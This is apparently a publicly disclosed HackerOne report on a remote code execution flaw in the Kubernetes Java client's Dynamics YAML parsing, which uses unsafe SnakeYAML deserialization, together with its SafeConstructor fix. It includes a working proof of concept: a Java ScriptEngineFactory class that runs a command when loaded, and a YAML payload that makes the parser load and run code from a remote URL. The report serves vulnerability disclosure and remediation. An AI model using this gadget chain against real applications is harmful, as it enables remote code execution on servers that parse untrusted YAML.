HexBrain

Kubernetes · Report #1807214

The `io.kubernetes.client.util.generic.dynamic.Dynamics` contains a code execution vulnerability due to SnakeYAML

Validstatus
mediumseverity
$1,000bounty
10upvotes
25 Apr 2023disclosed

How it was found

Summary:

If the io.kubernetes.client.util.generic.dynamic.Dynamics is used to deserialize a DynamicKubernetesObject from untrusted YAML, an attacker can achieve code execution inside of the JVM.

Since this is a part of the public API, down stream consumers can be using this API in a way that leaves them vulnerable. I have found no users of this class on GitHub outside of this project's unit tests. But that doesn't mean there are no users of this API. Someone built it for a reason, right?

Component Version:

Kubernettes Java Client version 17.0.0

Steps To Reproduce:

  1. Host a server with a JAR file containing the following code:
package org.jlleitschuh.sandbox;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class ScriptEngineFactoryRCE implements ScriptEngineFactory {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec("open -a Calculator");
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

The jar file must contain a file /META-INF/services/javax.script.ScriptEngineFactory with the contents org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # Our RCE Payload

Host this jar file from a local server's root path.

Then call the Dynamics yaml parsing APIs with the following payload:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Fix

The SnakeYAML parser should be instantiated with the argument new SafeConstructor() in order to not be vulnerable to arbitrary deserialization.

Supporting Material/References:

Impact

If this Dynamics class is used to parse untrusted YAML, an attacker can achieve remote code execution

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original